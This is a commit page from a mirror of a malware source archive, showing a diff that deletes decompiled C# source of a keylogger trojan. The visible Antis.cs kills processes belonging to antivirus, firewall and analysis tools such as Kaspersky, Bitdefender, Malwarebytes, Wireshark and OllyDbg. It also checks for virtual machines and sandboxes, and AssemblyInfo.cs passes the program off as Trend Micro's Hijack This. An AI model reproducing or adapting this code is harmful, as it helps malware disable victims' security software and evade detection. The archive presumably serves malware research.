Mirrors
/
vxug-MalwareSourceCode
mirror of https://github.com/vxunderground/MalwareSourceCode
13
1
Fork 0
Code Releases Activity

final mov

This commit is contained in:
vxunderground 2022-08-22 11:08:54 -05:00
parent b5b08f64b9
commit 03f5c74587
4039 changed files with 0 additions and 361503 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

215
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Antis.cs
View File

@ -1,215 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: AHSJKHwyIUYUIYIYI8sOIioOID.Antis
// Assembly: Publicloggerversionztub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
// MVID: 02BBAAFD-61B0-4722-9D55-257F48A7F005
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
namespace AHSJKHwyIUYUIYIYI8sOIioOID
{
[StandardModule]
internal sealed class Antis
{
public static void qwejJAUiewuoqo1u3oi12312()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "keyscrambler", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void SHOSHARKZ()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "wireshark", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void Shipost()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "outpost", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void Sheperskyz()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "avp", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void Shibender()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "bdagent", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void Shuwalarm()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "zlclient", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void wiIUQO1KLLAIowuEO2KOAA()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "Anubis.exe", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void Shunurmanizkabardiz()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "npfmsg.exe", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void nodrezspedtretodez()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "egui.exe", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void shuberbytizkeberdizdie()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "mbam.exe", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void shulabeldebiskeberidiz()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ollydbg.exe", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
[DllImport("kernel32", EntryPoint = "GetDiskFreeSpaceExA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int GetDiskFreeSpaceEx(
[MarshalAs(UnmanagedType.VBByRefStr)] ref string lpDirectoryName,
ref long lpFreeBytesAvailableToMe,
ref long lpTotalNumberOfBytes,
ref long lpTotalNumberOfFreeBytes);
public static bool vpzkabarzidikoborzi()
{
int num = Process.GetProcessesByName("vpcmap").Length >= 4 & Process.GetProcessesByName("vmsrvc").Length >= 4 ? 1 : 0;
bool flag;
return flag;
}
public static bool kuburdivimarekuburziger()
{
if (Process.GetProcessesByName("vmwareservice").Length < 1)
;
bool flag;
return flag;
}
public static bool vellokobarxzikobordi()
{
if (Process.GetProcessesByName("VBoxservice").Length < 1)
;
bool flag;
return flag;
}
public static bool shardabihardraviekorvadikemberdi()
{
string lpDirectoryName = "c:";
long lpFreeBytesAvailableToMe;
long lpTotalNumberOfBytes;
long lpTotalNumberOfFreeBytes;
Antis.GetDiskFreeSpaceEx(ref lpDirectoryName, ref lpFreeBytesAvailableToMe, ref lpTotalNumberOfBytes, ref lpTotalNumberOfFreeBytes);
if (lpTotalNumberOfBytes < 20000000000L)
;
bool flag;
return flag;
}
public static bool Shumarnizkeabardizimulatorizkoborzi()
{
long tickCount = (long) Environment.TickCount;
Thread.Sleep(500);
if (checked ((long) Environment.TickCount - tickCount) >= 500L)
;
bool flag;
return flag;
}
}
}

15
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/AssemblyInfo.cs
View File

@ -1,15 +0,0 @@
using System.Reflection;
using System.Resources;
using System.Runtime.InteropServices;
[assembly: AssemblyProduct("Hijack This")]
[assembly: AssemblyTitle("Hijack This")]
[assembly: AssemblyCopyright("© 2007 Trend Micro Inc")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCompany("Trend Micro Inc")]
[assembly: AssemblyDescription("Hijack This")]
[assembly: NeutralResourcesLanguage("en-US")]
[assembly: AssemblyFileVersion("2.00.000.2")]
[assembly: Guid("10e87a08-b620-4f3d-bd5d-1a68ec17bd41")]
[assembly: ComVisible(false)]
[assembly: AssemblyVersion("2.0.0.2")]

2545
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Form1.cs
View File

File diff suppressed because it is too large Load Diff

123
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Form1.resx
View File

File diff suppressed because one or more lines are too long

48
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MyApplication.cs
View File

@ -1,48 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: AHSJKHwyIUYUIYIYI8sOIioOID.My.MyApplication
// Assembly: Publicloggerversionztub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
// MVID: 02BBAAFD-61B0-4722-9D55-257F48A7F005
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f.exe
using Microsoft.VisualBasic.ApplicationServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Windows.Forms;
namespace AHSJKHwyIUYUIYIYI8sOIioOID.My
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal class MyApplication : WindowsFormsApplicationBase
{
[EditorBrowsable(EditorBrowsableState.Advanced)]
[DebuggerHidden]
[STAThread]
internal static void Main(string[] Args)
{
try
{
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
}
finally
{
}
MyProject.Application.Run(Args);
}
[DebuggerStepThrough]
public MyApplication()
: base(AuthenticationMode.Windows)
{
this.IsSingleInstance = false;
this.EnableVisualStyles = true;
this.SaveMySettingsOnExit = true;
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
}
[DebuggerStepThrough]
protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
}
}

24
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MyComputer.cs
View File

@ -1,24 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: AHSJKHwyIUYUIYIYI8sOIioOID.My.MyComputer
// Assembly: Publicloggerversionztub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
// MVID: 02BBAAFD-61B0-4722-9D55-257F48A7F005
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace AHSJKHwyIUYUIYIYI8sOIioOID.My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyComputer : Computer
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyComputer()
{
}
}
}

212
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MyProject.cs
View File

@ -1,212 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: AHSJKHwyIUYUIYIYI8sOIioOID.My.MyProject
// Assembly: Publicloggerversionztub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
// MVID: 02BBAAFD-61B0-4722-9D55-257F48A7F005
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace AHSJKHwyIUYUIYIYI8sOIioOID.My
{
[HideModuleName]
[StandardModule]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal sealed class MyProject
{
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
[DebuggerNonUserCode]
static MyProject()
{
}
[HelpKeyword("My.Computer")]
internal static MyComputer Computer
{
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
}
[HelpKeyword("My.Application")]
internal static MyApplication Application
{
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
}
[HelpKeyword("My.User")]
internal static User User
{
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
}
[HelpKeyword("My.Forms")]
internal static MyProject.MyForms Forms
{
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
}
[HelpKeyword("My.WebServices")]
internal static MyProject.MyWebServices WebServices
{
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
}
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class MyForms
{
public Form1 m_Form1;
[ThreadStatic]
private static Hashtable m_FormBeingCreated;
public Form1 Form1
{
[DebuggerNonUserCode] get
{
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
return this.m_Form1;
}
[DebuggerNonUserCode] set
{
if (value == this.m_Form1)
return;
if (value != null)
throw new ArgumentException("Property can only be set to Nothing");
this.Dispose__Instance__<Form1>(ref this.m_Form1);
}
}
[DebuggerHidden]
private static T Create__Instance__<T>(T Instance) where T : Form, new()
{
if ((object) Instance != null && !Instance.IsDisposed)
return Instance;
if (MyProject.MyForms.m_FormBeingCreated != null)
{
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
}
else
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
try
{
return new T();
}
catch (TargetInvocationException ex) when (
{
// ISSUE: unable to correctly present filter
ProjectData.SetProjectError((Exception) ex);
if (ex.InnerException != null)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
}
finally
{
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
}
}
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) where T : Form
{
instance.Dispose();
instance = default (T);
}
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public MyForms()
{
}
[EditorBrowsable(EditorBrowsableState.Never)]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
internal new System.Type GetType() => typeof (MyProject.MyForms);
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
}
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class MyWebServices
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override int GetHashCode() => base.GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public MyWebServices()
{
}
}
[ComVisible(false)]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class ThreadSafeObjectProvider<T> where T : new()
{
internal T GetInstance
{
[DebuggerHidden] get
{
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
}
}
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public ThreadSafeObjectProvider()
{
}
}
}
}

73
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MySettings.cs
View File

@ -1,73 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: AHSJKHwyIUYUIYIYI8sOIioOID.My.MySettings
// Assembly: Publicloggerversionztub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
// MVID: 02BBAAFD-61B0-4722-9D55-257F48A7F005
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f.exe
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Configuration;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Threading;
namespace AHSJKHwyIUYUIYIYI8sOIioOID.My
{
[CompilerGenerated]
[EditorBrowsable(EditorBrowsableState.Advanced)]
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
internal sealed class MySettings : ApplicationSettingsBase
{
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
private static bool addedHandler;
private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
[DebuggerNonUserCode]
public MySettings()
{
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
[DebuggerNonUserCode]
private static void AutoSaveSettings(object sender, EventArgs e)
{
if (!MyProject.Application.SaveMySettingsOnExit)
return;
MySettingsProperty.Settings.Save();
}
public static MySettings Default
{
get
{
if (!MySettings.addedHandler)
{
object handlerLockObject = MySettings.addedHandlerLockObject;
ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
Monitor.Enter(handlerLockObject);
try
{
if (!MySettings.addedHandler)
{
MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
{
if (!MyProject.Application.SaveMySettingsOnExit)
return;
MySettingsProperty.Settings.Save();
});
MySettings.addedHandler = true;
}
}
finally
{
Monitor.Exit(handlerLockObject);
}
}
return MySettings.defaultInstance;
}
}
}
}

24
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MySettingsProperty.cs
View File

@ -1,24 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: AHSJKHwyIUYUIYIYI8sOIioOID.My.MySettingsProperty
// Assembly: Publicloggerversionztub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
// MVID: 02BBAAFD-61B0-4722-9D55-257F48A7F005
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
namespace AHSJKHwyIUYUIYIYI8sOIioOID.My
{
[HideModuleName]
[CompilerGenerated]
[DebuggerNonUserCode]
[StandardModule]
internal sealed class MySettingsProperty
{
[HelpKeyword("My.Settings")]
internal static MySettings Settings => MySettings.Default;
}
}

46
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/Resources/Resources.cs
View File

@ -1,46 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: AHSJKHwyIUYUIYIYI8sOIioOID.My.Resources.Resources
// Assembly: Publicloggerversionztub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
// MVID: 02BBAAFD-61B0-4722-9D55-257F48A7F005
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Globalization;
using System.Resources;
using System.Runtime.CompilerServices;
namespace AHSJKHwyIUYUIYIYI8sOIioOID.My.Resources
{
[StandardModule]
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
[DebuggerNonUserCode]
[CompilerGenerated]
[HideModuleName]
internal sealed class Resources
{
private static ResourceManager resourceMan;
private static CultureInfo resourceCulture;
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static ResourceManager ResourceManager
{
get
{
if (object.ReferenceEquals((object) AHSJKHwyIUYUIYIYI8sOIioOID.My.Resources.Resources.resourceMan, (object) null))
AHSJKHwyIUYUIYIYI8sOIioOID.My.Resources.Resources.resourceMan = new ResourceManager("AHSJKHwyIUYUIYIYI8sOIioOID.Resources", typeof (AHSJKHwyIUYUIYIYI8sOIioOID.My.Resources.Resources).Assembly);
return AHSJKHwyIUYUIYIYI8sOIioOID.My.Resources.Resources.resourceMan;
}
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static CultureInfo Culture
{
get => AHSJKHwyIUYUIYIYI8sOIioOID.My.Resources.Resources.resourceCulture;
set => AHSJKHwyIUYUIYIYI8sOIioOID.My.Resources.Resources.resourceCulture = value;
}
}
}

120
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Resources.resx
View File

@ -1,120 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>

1036
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Stealers.cs
View File

File diff suppressed because it is too large Load Diff

56
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Trojan-Spy.MSIL.KeyLogger.ajb.csproj
View File

@ -1,56 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{517BF629-3D89-4B39-B50F-12C897A93A06}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>Publicloggerversionztub</AssemblyName>
<ApplicationVersion>2.0.0.2</ApplicationVersion>
<RootNamespace>AHSJKHwyIUYUIYIYI8sOIioOID</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Antis.cs" />
<Compile Include="Form1.cs" />
<Compile Include="Stealers.cs" />
<Compile Include="My\MyApplication.cs" />
<Compile Include="My\MyComputer.cs" />
<Compile Include="My\MyProject.cs" />
<Compile Include="My\MySettings.cs" />
<Compile Include="My\MySettingsProperty.cs" />
<Compile Include="My\Resources\Resources.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Form1.resx" />
<EmbeddedResource Include="Resources.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

20
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Trojan-Spy.MSIL.KeyLogger.ajb.sln
View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
